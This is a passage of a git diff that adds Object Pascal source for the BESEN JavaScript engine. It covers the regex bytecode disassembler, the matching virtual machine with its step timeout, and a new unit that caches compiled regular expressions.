begin + result:=(ByteCode[a] shl 8) or ByteCode[a+1]; + end else begin + raise EBESENInternalError.Create('Internal error: 201002250421-0000'); + end; + end; + function CodeMakeA(a:longint):longint; + begin + result:=(CodeMakeI(a)+a) and $ffff; + end; +var PC,i,i2,i3,a:longint; + Opcode:byte; + procedure GetParams1; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams2; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams3; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + i3:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams2A; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + a:=CodeMakeA(PC); + inc(PC,bresADDR); + end; + procedure GetParamsA; {$ifdef caninline}inline;{$endif} + begin + a:=CodeMakeA(PC); + inc(PC,bresADDR); + end; +begin + result:=''; + PC:=0; + i:=0; + i2:=0; + i3:=0; + a:=0; + while (PC>=0) and (PC<ByteCodeLen) do begin + result:=result+'0x'+IntToHex(PC,8)+': '; + Opcode:=ByteCode[PC]; + inc(PC); + case Opcode of + breoFAIL:begin + result:=result+'FAIL'; + end; + breoSUCCEED:begin + result:=result+'SUCCEED'; + end; + breoCHAR:begin + GetParams1; + result:=result+'CHAR '+IntToStr(i); + end; + breoZERO:begin + GetParams1; + result:=result+'ZERO '+IntToStr(i); + end; + breoREACH:begin + GetParams2; + result:=result+'REACH '+IntToStr(i)+', '+IntToStr(i2); + end; + breoNREACH:begin + GetParams2; + result:=result+'NREACH '+IntToStr(i)+', '+IntToStr(i2); + end; + breoSTART:begin + GetParams1; + result:=result+'START '+IntToStr(i); + end; + breoEND:begin + GetParams1; + result:=result+'END '+IntToStr(i); + end; + breoUNDEF:begin + GetParams2; + result:=result+'UNDEF '+IntToStr(i)+', '+IntToStr(i2); + end; + breoMARK:begin + GetParams1; + result:=result+'MARK '+IntToStr(i); + end; + breoFDIST:begin + GetParams1; + result:=result+'FDIST '+IntToStr(i); + end; + breoRDIST:begin + GetParams3; + result:=result+'RDIST '+IntToStr(i)+', '+IntToStr(i2)+', '+IntToStr(i3); + end; + breoMNEXT:begin + GetParams2A; + result:=result+'MNEXT '+IntToStr(i)+', '+IntToStr(i2)+', 0x'+IntToHex(a,8); + end; + breoRNEXT:begin + GetParams2A; + result:=result+'RNEXT '+IntToStr(i)+', '+IntToStr(i2)+', 0x'+IntToHex(a,8); + end; + breoGOTO:begin + GetParamsA; + result:=result+'GOTO 0x'+IntToHex(a,8); + end; + breoGS:begin + GetParamsA; + result:=result+'GS 0x'+IntToHex(a,8); + end; + breoNS:begin + GetParamsA; + result:=result+'NS 0x'+IntToHex(a,8); + end; + breoGF:begin + GetParamsA; + result:=result+'GF 0x'+IntToHex(a,8); + end; + breoNF:begin + GetParamsA; + result:=result+'NF 0x'+IntToHex(a,8); + end; + breoAS:begin + GetParamsA; + result:=result+'AS 0x'+IntToHex(a,8); + end; + breoAF:begin + GetParamsA; + result:=result+'AF 0x'+IntToHex(a,8); + end; + breoBOL:begin + result:=result+'BOL'; + end; + breoEOL:begin + result:=result+'EOL'; + end; + breoBRK:begin + result:=result+'BRK'; + end; + breoNBRK:begin + result:=result+'NBRK'; + end; + breoBACKREF:begin + GetParams1; + result:=result+'BACKREF '+IntToStr(i); + end; + else begin + raise EBESENInternalError.Create('Internal error: 201002250323-0000'); + end; + end; + result:=result+#10; + end; +end; + +procedure TBESENRegExp.DebugDisassemble; + function CodeMakeI(a:longint):longint; + begin + if (a+2)<=length(ByteCode) then begin + result:=(ByteCode[a] shl 8) or ByteCode[a+1]; + end else begin + raise EBESENInternalError.Create('Internal error: 201002250421-0000'); + end; + end; + function CodeMakeA(a:longint):longint; + begin + result:=(CodeMakeI(a)+a) and $ffff; + end; +var PC,i,i2,i3,a:longint; + Opcode:byte; + Line:TBESENUTF8ORSINGLESTRING; + procedure GetParams1; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams2; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams3; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + i3:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams2A; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + a:=CodeMakeA(PC); + inc(PC,bresADDR); + end; + procedure GetParamsA; {$ifdef caninline}inline;{$endif} + begin + a:=CodeMakeA(PC); + inc(PC,bresADDR); + end; +begin + PC:=0; + i:=0; + i2:=0; + i3:=0; + a:=0; + while (PC>=0) and (PC<ByteCodeLen) do begin + Line:='0x'+TBESENUTF8ORSINGLESTRING(IntToHex(PC,8))+': '; + Opcode:=ByteCode[PC]; + inc(PC); + case Opcode of + breoFAIL:begin + Line:=Line+'FAIL'; + end; + breoSUCCEED:begin + Line:=Line+'SUCCEED'; + end; + breoCHAR:begin + GetParams1; + Line:=Line+'CHAR '+TBESENUTF8ORSINGLESTRING(IntToStr(i)); + end; + breoZERO:begin + GetParams1; + Line:=Line+'ZERO '+TBESENUTF8ORSINGLESTRING(IntToStr(i)); + end; + breoREACH:begin + GetParams2; + Line:=Line+'REACH '+TBESENUTF8ORSINGLESTRING(IntToStr(i))+', '+TBESENUTF8ORSINGLESTRING(IntToStr(i2)); + end; + breoNREACH:begin + GetParams2; + Line:=Line+'NREACH '+TBESENUTF8ORSINGLESTRING(IntToStr(i))+', '+TBESENUTF8ORSINGLESTRING(IntToStr(i2)); + end; + breoSTART:begin + GetParams1; + Line:=Line+'START '+TBESENUTF8ORSINGLESTRING(IntToStr(i)); + end; + breoEND:begin + GetParams1; + Line:=Line+'END '+TBESENUTF8ORSINGLESTRING(IntToStr(i)); + end; + breoUNDEF:begin + GetParams2; + Line:=Line+'UNDEF '+TBESENUTF8ORSINGLESTRING(IntToStr(i))+', '+TBESENUTF8ORSINGLESTRING(IntToStr(i2)); + end; + breoMARK:begin + GetParams1; + Line:=Line+'MARK '+TBESENUTF8ORSINGLESTRING(IntToStr(i)); + end; + breoFDIST:begin + GetParams1; + Line:=Line+'FDIST '+TBESENUTF8ORSINGLESTRING(IntToStr(i)); + end; + breoRDIST:begin + GetParams3; + Line:=Line+'RDIST '+TBESENUTF8ORSINGLESTRING(IntToStr(i))+', '+TBESENUTF8ORSINGLESTRING(IntToStr(i2))+', '+TBESENUTF8ORSINGLESTRING(IntToStr(i3)); + end; + breoMNEXT:begin + GetParams2A; + Line:=Line+'MNEXT '+TBESENUTF8ORSINGLESTRING(IntToStr(i))+', '+TBESENUTF8ORSINGLESTRING(IntToStr(i2))+', 0x'+TBESENUTF8ORSINGLESTRING(IntToHex(a,8)); + end; + breoRNEXT:begin + GetParams2A; + Line:=Line+'RNEXT '+TBESENUTF8ORSINGLESTRING(IntToStr(i))+', '+TBESENUTF8ORSINGLESTRING(IntToStr(i2))+', 0x'+TBESENUTF8ORSINGLESTRING(IntToHex(a,8)); + end; + breoGOTO:begin + GetParamsA; + Line:=Line+'GOTO 0x'+TBESENUTF8ORSINGLESTRING(IntToHex(a,8)); + end; + breoGS:begin + GetParamsA; + Line:=Line+'GS 0x'+TBESENUTF8ORSINGLESTRING(IntToHex(a,8)); + end; + breoNS:begin + GetParamsA; + Line:=Line+'NS 0x'+TBESENUTF8ORSINGLESTRING(IntToHex(a,8)); + end; + breoGF:begin + GetParamsA; + Line:=Line+'GF 0x'+TBESENUTF8ORSINGLESTRING(IntToHex(a,8)); + end; + breoNF:begin + GetParamsA; + Line:=Line+'NF 0x'+TBESENUTF8ORSINGLESTRING(IntToHex(a,8)); + end; + breoAS:begin + GetParamsA; + Line:=Line+'AS 0x'+TBESENUTF8ORSINGLESTRING(IntToHex(a,8)); + end; + breoAF:begin + GetParamsA; + Line:=Line+'AF 0x'+TBESENUTF8ORSINGLESTRING(IntToHex(a,8)); + end; + breoBOL:begin + Line:=Line+'BOL'; + end; + breoEOL:begin + Line:=Line+'EOL'; + end; + breoBRK:begin + Line:=Line+'BRK'; + end; + breoNBRK:begin + Line:=Line+'NBRK'; + end; + breoBACKREF:begin + GetParams1; + Line:=Line+'BACKREF '+TBESENUTF8ORSINGLESTRING(IntToStr(i)); + end; + else begin + raise EBESENInternalError.Create('Internal error: 201002250323-0000'); + end; + end; + if assigned(TBESEN(Instance).RegExpDebugOutputHook) then begin + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),Line,true); + end; + end; +end; + +function TBESENRegExp.DisassembleOpcode(PC:longint):TBESENString; + function CodeMakeI(a:longint):longint; + begin + if (a+2)<=length(ByteCode) then begin + result:=(ByteCode[a] shl 8) or ByteCode[a+1]; + end else begin + raise EBESENInternalError.Create('Internal error: 201002250421-0000'); + end; + end; + function CodeMakeA(a:longint):longint; + begin + result:=(CodeMakeI(a)+a) and $ffff; + end; +var i,i2,i3,a:longint; + Opcode:byte; + procedure GetParams1; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams2; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams3; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + i3:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams2A; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + a:=CodeMakeA(PC); + inc(PC,bresADDR); + end; + procedure GetParamsA; {$ifdef caninline}inline;{$endif} + begin + a:=CodeMakeA(PC); + inc(PC,bresADDR); + end; +begin + result:=''; + i:=0; + i2:=0; + i3:=0; + a:=0; + if (PC>=0) and (PC<ByteCodeLen) then begin + result:=result+'0x'+IntToHex(PC,8)+': '; + Opcode:=ByteCode[PC]; + inc(PC); + case Opcode of + breoFAIL:begin + result:=result+'FAIL'; + end; + breoSUCCEED:begin + result:=result+'SUCCEED'; + end; + breoCHAR:begin + GetParams1; + result:=result+'CHAR '+IntToStr(i); + end; + breoZERO:begin + GetParams1; + result:=result+'ZERO '+IntToStr(i); + end; + breoREACH:begin + GetParams2; + result:=result+'REACH '+IntToStr(i)+', '+IntToStr(i2); + end; + breoNREACH:begin + GetParams2; + result:=result+'NREACH '+IntToStr(i)+', '+IntToStr(i2); + end; + breoSTART:begin + GetParams1; + result:=result+'START '+IntToStr(i); + end; + breoEND:begin + GetParams1; + result:=result+'END '+IntToStr(i); + end; + breoUNDEF:begin + GetParams2; + result:=result+'UNDEF '+IntToStr(i)+', '+IntToStr(i2); + end; + breoMARK:begin + GetParams1; + result:=result+'MARK '+IntToStr(i); + end; + breoFDIST:begin + GetParams1; + result:=result+'FDIST '+IntToStr(i); + end; + breoRDIST:begin + GetParams3; + result:=result+'RDIST '+IntToStr(i)+', '+IntToStr(i2)+', '+IntToStr(i3); + end; + breoMNEXT:begin + GetParams2A; + result:=result+'MNEXT '+IntToStr(i)+', '+IntToStr(i2)+', 0x'+IntToHex(a,8); + end; + breoRNEXT:begin + GetParams2A; + result:=result+'RNEXT '+IntToStr(i)+', '+IntToStr(i2)+', 0x'+IntToHex(a,8); + end; + breoGOTO:begin + GetParamsA; + result:=result+'GOTO 0x'+IntToHex(a,8); + end; + breoGS:begin + GetParamsA; + result:=result+'GS 0x'+IntToHex(a,8); + end; + breoNS:begin + GetParamsA; + result:=result+'NS 0x'+IntToHex(a,8); + end; + breoGF:begin + GetParamsA; + result:=result+'GF 0x'+IntToHex(a,8); + end; + breoNF:begin + GetParamsA; + result:=result+'NF 0x'+IntToHex(a,8); + end; + breoAS:begin + GetParamsA; + result:=result+'AS 0x'+IntToHex(a,8); + end; + breoAF:begin + GetParamsA; + result:=result+'AF 0x'+IntToHex(a,8); + end; + breoBOL:begin + result:=result+'BOL'; + end; + breoEOL:begin + result:=result+'EOL'; + end; + breoBRK:begin + result:=result+'BRK'; + end; + breoNBRK:begin + result:=result+'NBRK'; + end; + breoBACKREF:begin + GetParams1; + result:=result+'BACKREF '+IntToStr(i); + end; + else begin + raise EBESENInternalError.Create('Internal error: 201002250323-0000'); + end; + end; + end; +end; + +function TBESENRegExp.Execute(PC:longint;const Input:TBESENString;var State:TBESENRegExpState;var RemainTimeOutSteps:int64):boolean; + procedure Print(Data:TBESENUTF8ORSINGLESTRING); + begin + if (TBESEN(Instance).RegExpDebug<>0) and assigned(TBESEN(Instance).RegExpDebugOutputHook) then begin + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),TBESENUTF8ORSINGLESTRING(Data),false); + end; + end; + procedure PrintLn(Data:TBESENUTF8ORSINGLESTRING); + begin + if (TBESEN(Instance).RegExpDebug<>0) and assigned(TBESEN(Instance).RegExpDebugOutputHook) then begin + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),TBESENUTF8ORSINGLESTRING(Data),true); + end; + end; + function CodeMakeI(a:longint):longint; {$ifdef caninline}inline;{$endif} + begin + if (a+2)<=length(ByteCode) then begin + result:=(ByteCode[a] shl 8) or ByteCode[a+1]; + end else begin + BESENThrowInternalError('Internal error: 201002250421-0000'); + result:=0; + end; + end; + function CodeMakeA(a:longint):longint; {$ifdef caninline}inline;{$endif} + begin + result:=(CodeMakeI(a)+a) and $ffff; + end; + function GetChar(i:longint):TBESENUTF32CHAR; {$ifdef caninline}inline;{$endif} + begin + if (i>=0) and (i<length(Input)) then begin + result:=word(widechar(Input[i+1])); + end else begin + BESENThrowInternalError('Internal error: 201002250421-0001'); + result:=0; + end; + end; + function IsWordChar(i:longint):boolean; {$ifdef caninline}inline;{$endif} + begin + if (i>=0) and (i<length(Input)) then begin + case word(widechar(Input[i+1])) of + ord('a')..ord('z'),ord('A')..ord('Z'),ord('0')..ord('9'),ord('_'):begin + result:=true; + end; + else begin + result:=false; + end; + end; + end else begin + result:=false; + end; + end; +var Opcode:byte; + i,i2,i3,a,x,br,len,opc:longint; + ch:TBESENUTF32CHAR; + OldCurrentState,NewState:TBESENRegExpState; + DoBreak:boolean; + procedure GetParams1; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams2; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams3; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + i3:=CodeMakeI(PC); + inc(PC,bresINT); + end; + procedure GetParams2A; {$ifdef caninline}inline;{$endif} + begin + i:=CodeMakeI(PC); + inc(PC,bresINT); + i2:=CodeMakeI(PC); + inc(PC,bresINT); + a:=CodeMakeA(PC); + inc(PC,bresADDR); + end; + procedure GetParamsA; {$ifdef caninline}inline;{$endif} + begin + a:=CodeMakeA(PC); + inc(PC,bresADDR); + end; + procedure DebugOut; + var c:longint; + e:longword; + begin + opc:=PC; + Print('index='+AnsiString(IntToStr(State.Captures[0].e))+' captures=['); + for c:=0 to CountOfCaptures-1 do begin + if c<>0 then begin + Print(','); + end; + if State.Captures[c].s=brecUNDEFINED then begin + Print('undef'); + end else if int64(State.Captures[c].s+State.Captures[c].e)>length(Input) then begin + Print('bad<'+AnsiString(IntToHex(State.Captures[c].s,8))+','+AnsiString(IntToHex(State.Captures[c].e,8))+'>'); + end else begin + e:=State.Captures[c].e; + if e=brecUNDEFINED then begin + e:=State.Captures[0].e; + end; + Print('"'+BESENUTF16ToUTF8(copy(Input,State.Captures[c].s+1,e-State.Captures[c].s))+'"'); + if State.Captures[c].e=brecUNDEFINED then begin + Print('+'); + end; + end; + end; + Print(']'); + if Opcode in [breoZERO,breoREACH,breoNREACH,breoMNEXT,breoRNEXT] then begin + Print(' counters=['); + for c:=0 to CountOfCounters-1 do begin + if c<>0 then begin + Print(','); + end; + Print(AnsiString(IntToStr(State.Counters[c]))); + end; + Print(']'); + end; + if Opcode in [breoMARK,breoFDIST,breoRDIST] then begin + Print(' marks=['); + for c:=0 to CountOfMarks-1 do begin + if c<>0 then begin + Print(','); + end; + Print(AnsiString(IntToStr(State.Marks[c]))); + end; + Print(']'); + end; + if Opcode<>breoCHAR then begin + PrintLn(''); + PrintLn(AnsiString(DisassembleOpcode(opc))); + end; + end; +begin + result:=false; + OldCurrentState:=CurrentState; + try + NewState:=AllocateState; + i:=0; + i2:=0; + i3:=0; + a:=0; + opc:=0; + while (PC>=0) and (PC<ByteCodeLen) and (RemainTimeOutSteps<>0) do begin + if RemainTimeOutSteps>0 then begin + dec(RemainTimeOutSteps); + end; + Opcode:=ByteCode[PC]; + if TBESEN(Instance).RegExpDebug<>0 then begin + DebugOut; + end; + inc(PC); + case Opcode of + breoFAIL:begin + result:=false; + break; + end; + breoSUCCEED:begin + result:=true; + break; + end; + breoCHAR:begin + GetParams1; + if State.Captures[0].e<longword(length(Input)) then begin + ch:=GetChar(State.Captures[0].e); + inc(State.Captures[0].e); + if ((ch and $fc00)=$d800) and (State.Captures[0].e<longword(length(Input))) and ((GetChar(State.Captures[0].e) and $fc00)=$dc00) then begin + ch:=(((ch and $3ff) shl 10) or (GetChar(State.Captures[0].e) and $3ff))+$10000; + end; + if TBESEN(Instance).RegExpDebug<>0 then begin + Print(' ch="'+BESENUTF32CHARToUTF8(ch)+'" result='); + if CharClasses[i].Contains(ch) then begin + PrintLn('true'); + end else begin + PrintLn('false'); + end; + PrintLn(AnsiString(DisassembleOpcode(opc))); + end; + if not CharClasses[i].Contains(ch) then begin + result:=false; + break; + end; + end else begin + if TBESEN(Instance).RegExpDebug<>0 then begin + PrintLn(''); + PrintLn(AnsiString(DisassembleOpcode(opc))); + end; + result:=false; + break; + end; + end; + breoZERO:begin + GetParams1; + State.Counters[i]:=0; + end; + breoREACH:begin + GetParams2; + if State.Counters[i]<i2 then begin + result:=false; + break; + end; + end; + breoNREACH:begin + GetParams2; + if State.Counters[i]>=i2 then begin + result:=false; + break; + end; + end; + breoSTART:begin + GetParams1; + State.Captures[i].s:=State.Captures[0].e; + State.Captures[i].e:=brecUNDEFINED; + end; + breoEND:begin + GetParams1; + State.Captures[i].e:=State.Captures[0].e; + end; + breoUNDEF:begin + GetParams2; + while i<i2 do begin + State.Captures[i].s:=brecUNDEFINED; + State.Captures[i].e:=brecUNDEFINED; + inc(i); + end; + end; + breoMARK:begin + GetParams1; + State.Marks[i]:=State.Captures[0].e; + end; + breoFDIST:begin + GetParams1; + if State.Marks[i]=longint(State.Captures[0].e) then begin + result:=false; + break; + end; + end; + breoRDIST:begin + GetParams3; + if (State.Marks[i]=longint(State.Captures[0].e)) and (State.Counters[i2]>=i3) then begin + result:=false; + break; + end; + end; + breoMNEXT:begin + GetParams2A; + if State.Counters[i]<i2 then begin + inc(State.Counters[i]); + end; + PC:=a; + end; + breoRNEXT:begin + GetParams2A; + inc(State.Counters[i]); + if State.Counters[i]<i2 then begin + PC:=a; + end; + end; + breoGOTO:begin + GetParamsA; + PC:=a; + end; + breoGS:begin + GetParamsA; + CopyState(NewState,State); + result:=Execute(PC,Input,NewState,RemainTimeOutSteps); + if result then begin + PC:=a; + end else begin + result:=false; + break; + end; + end; + breoNS:begin + GetParamsA; + CopyState(NewState,State); + result:=Execute(a,Input,NewState,RemainTimeOutSteps); + if not result then begin + result:=false; + break; + end; + end; + breoGF:begin + GetParamsA; + CopyState(NewState,State); + result:=Execute(PC,Input,NewState,RemainTimeOutSteps); + if result then begin + CopyState(State,NewState); + result:=true; + break; + end else begin + PC:=a; + end; + end; + breoNF:begin + GetParamsA; + CopyState(NewState,State); + result:=Execute(a,Input,NewState,RemainTimeOutSteps); + if result then begin + CopyState(State,NewState); + result:=true; + break; + end; + end; + breoAS:begin + GetParamsA; + CopyState(NewState,State); + result:=Execute(PC,Input,NewState,RemainTimeOutSteps); + if result then begin + i:=State.Captures[0].e; + CopyState(State,NewState); + State.Captures[0].e:=i; + PC:=a; + end else begin + result:=false; + break; + end; + end; + breoAF:begin + GetParamsA; + CopyState(NewState,State); + result:=Execute(PC,Input,NewState,RemainTimeOutSteps); + if result then begin + result:=false; + break; + end else begin + PC:=a; + end; + end; + breoBOL:begin + if State.Captures[0].e=0 then begin + end else if not (brefMULTILINE in Flags) then begin + result:=false; + break; + end else if (word(widechar(Input[State.Captures[0].e]))=$000a) or + (word(widechar(Input[State.Captures[0].e]))=$000d) or + (word(widechar(Input[State.Captures[0].e]))=$2028) or + (word(widechar(Input[State.Captures[0].e]))=$2029) then begin + end else begin + result:=false; + break; + end; + end; + breoEOL:begin + if State.Captures[0].e=longword(length(Input)) then begin + end else if not (brefMULTILINE in Flags) then begin + result:=false; + break; + end else if (word(widechar(Input[State.Captures[0].e]))=$000a) or + (word(widechar(Input[State.Captures[0].e]))=$000d) or + (word(widechar(Input[State.Captures[0].e]))=$2028) or + (word(widechar(Input[State.Captures[0].e]))=$2029) then begin + end else begin + result:=false; + break; + end; + end; + breoBRK:begin + if IsWordChar(State.Captures[0].e-1)=IsWordChar(State.Captures[0].e) then begin + result:=false; + break; + end; + end; + breoNBRK:begin + if IsWordChar(State.Captures[0].e-1)<>IsWordChar(State.Captures[0].e) then begin + result:=false; + break; + end; + end; + breoBACKREF:begin + GetParams1; + if ((i>=0) and (i<length(State.Captures))) and (State.Captures[i].e<>brecUNDEFINED) then begin + br:=State.Captures[i].s; + len:=longword(longword(State.Captures[i].e)-longword(br)); + if int64(len+int64(State.Captures[0].e))>length(Input) then begin + result:=false; + break; + end; + DoBreak:=false; + if brefIGNORECASE in Flags then begin + for x:=0 to len-1 do begin + if BESENUnicodeToUpper(GetChar(br+x))<>BESENUnicodeToUpper(GetChar(longint(State.Captures[0].e)+x)) then begin + result:=false; + DoBreak:=true; + break; + end; + end; + end else begin + for x:=0 to len-1 do begin + if GetChar(br+x)<>GetChar(longint(State.Captures[0].e)+x) then begin + result:=false; + DoBreak:=true; + break; + end; + end; + end; + if DoBreak then begin + break; + end; + inc(State.Captures[0].e,len); + end; + end; + else begin + BESENThrowInternalError('Internal error: 201002250323-0000'); + end; + end; + end; + finally + CurrentState:=OldCurrentState; + end; +end; + +function TBESENRegExp.Match(const Input:TBESENString;Index:longint;var Captures:TBESENRegExpCaptures):boolean; +var State:TBESENRegExpState; + i:longint; + RemainTimeOutSteps:int64; +begin + CurrentState:=nil; + State:=AllocateState; + try + Captures:=nil; + State.Captures[0].s:=Index; + State.Captures[0].e:=Index; + for i:=1 to CountOfCaptures-1 do begin + State.Captures[i].s:=brecUNDEFINED; + State.Captures[i].e:=brecUNDEFINED; + end; + if TBESEN(Instance).RegExpTimeOutSteps>0 then begin + RemainTimeOutSteps:=TBESEN(Instance).RegExpTimeOutSteps; + end else begin + RemainTimeOutSteps:=-1; + end; + result:=Execute(0,Input,State,RemainTimeOutSteps); + if RemainTimeOutSteps=0 then begin + if (TBESEN(Instance).RegExpDebug<>0) and assigned(TBESEN(Instance).RegExpDebugOutputHook) then begin + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),'TIMEOUT',true); + end; + end; + if result then begin + if length(Captures)<>length(State.Captures) then begin + SetLength(Captures,length(State.Captures)); + end; + if length(State.Captures)>0 then begin + move(State.Captures[0],Captures[0],length(State.Captures)*sizeof(TBESENRegExpCapture)); + end; + end else begin + SetLength(Captures,0); + end; + finally + CleanupStates; + end; +end; + +procedure TBESENRegExp.DebugDump; +var i:longint; +begin + if assigned(TBESEN(Instance).RegExpDebugOutputHook) then begin + if (TBESEN(Instance).RegExpDebug>2) and (CharClassesCount>0) then begin + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),'---CHARCLASSES-DUMP-BEGIN---',true); + for i:=0 to CharClassesCount-1 do begin + if assigned(CharClasses[i]) then begin + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),'---CHARCLASS-NUMBER-0x'+AnsiString(IntToHex(i,8))+'-DUMP-BEGIN---',true); + CharClasses[i].DebugDump; + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),'---CHARCLASS-NUMBER-0x'+AnsiString(IntToHex(i,8))+'-DUMP-END---',true); + end; + end; + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),'---CHARCLASSES-DUMP-END---',true); + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),'',true); + end; + if TBESEN(Instance).RegExpDebug>1 then begin + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),'---REGEXP-BYTECODE-DISASSEMBLY-BEGIN---',true); + DebugDisassemble; + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),'---REGEXP-BYTECODE-DISASSEMBLY-END---',true); + TBESEN(Instance).RegExpDebugOutputHook(TBESEN(Instance),'',true); + end; + end; +end; + +end. diff --git a/Core/JS/BESENRegExpCache.pas b/Core/JS/BESENRegExpCache.pas new file mode 100644 index 0000000..3785e8e --- /dev/null +++ b/Core/JS/BESENRegExpCache.pas @@ -0,0 +1,152 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENRegExpCache; +{$i BESEN.inc} + +interface + +uses SysUtils,BESENConstants,BESENTypes,BESENValue,BESENBaseObject,BESENRegExp; + +type TBESENRegExpCacheItems=array of TBESENRegExp; + + TBESENRegExpCache=class(TBESENBaseObject) + private + HashSize:longword; + HashSizeMask:longword; + HashItems:TBESENRegExpCacheItems; + procedure SetCacheSize(NewSize:longword); + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + function Hash(const Source:TBESENString;Flags:TBESENRegExpFlags):TBESENHash; + function Get(const Source:TBESENString;Flags:TBESENRegExpFlags):TBESENRegExp; + function IsCached(RegExp:TBESENRegExp):boolean; + published + property CacheSize:longword read HashSize write SetCacheSize; + end; + +implementation + +uses BESEN,BESENUtils,BESENStringUtils,BESENErrors,BESENHashUtils; + +constructor TBESENRegExpCache.Create(AInstance:TObject); +begin + inherited Create(AInstance); + HashItems:=nil; + SetCacheSize(BESENRegExpCacheSize); +end; + +destructor TBESENRegExpCache.Destroy; +var i:integer; +begin + for i:=0 to length(HashItems)-1 do begin + if assigned(HashItems[i]) then begin + BesenFreeAndNil(HashItems[i]); + HashItems[i]:=nil; + end; + end; + SetLength(HashItems,0); + inherited Destroy; +end; + +procedure TBESENRegExpCache.SetCacheSize(NewSize:longword); +var i:integer; +begin + for i:=0 to length(HashItems)-1 do begin + if assigned(HashItems[i]) then begin + HashItems[i].DecRef; + HashItems[i]:=nil; + end; + end; + HashSize:=BESENRoundUpToPowerOfTwo(NewSize); + HashSizeMask:=HashSize-1; + SetLength(HashItems,HashSize); + for i:=0 to length(HashItems)-1 do begin + HashItems[i]:=nil; + end; +end; + +function TBESENRegExpCache.Hash(const Source:TBESENString;Flags:TBESENRegExpFlags):TBESENHash; +begin + result:=BESENHashKey(Source); + if brefGLOBAL in Flags then begin + result:=result+4; + end; + if brefIGNORECASE in Flags then begin + result:=result+2; + end; + if brefMULTILINE in Flags then begin + result:=result+1; + end; +end; + +function TBESENRegExpCache.Get(const Source:TBESENString;Flags:TBESENRegExpFlags):TBESENRegExp; +var HashValue:TBESENUINT32; +begin + if HashSize>0 then begin + HashValue:=Hash(Source,Flags) and HashSizeMask; + result:=HashItems[HashValue]; + if (assigned(result) and ((result.Source<>Source) or (result.Flags<>Flags))) or not assigned(result) then begin + result:=TBESENRegExp.Create(Instance); + try + result.Compile(Source,Flags); + try + if assigned(HashItems[HashValue]) then begin + HashItems[HashValue].DecRef; + end; + HashItems[HashValue]:=result; + result.IncRef; + except + HashItems[HashValue]:=nil; + raise; + end; + except + BESENFreeAndNil(result); + raise; + end; + end; + end else begin + result:=TBESENRegExp.Create(Instance); + try + result.Compile(Source,Flags); + except + BESENFreeAndNil(result); + raise; + end; + end; +end; + +function TBESENRegExpCache.IsCached(RegExp:TBESENRegExp):boolean; +begin + result:=(HashSize>0) and (assigned(RegExp) and (RegExp=HashItems[Hash(RegExp.Source,RegExp.Flags) and HashSizeMask])); +end; + +end. diff --git a/Core/JS/BESENScope.pas b/Core/JS/BESENScope.pas new file mode 100644 index 0000000..b7964c1 --- /dev/null +++ b/Core/JS/BESENScope.pas @@ -0,0 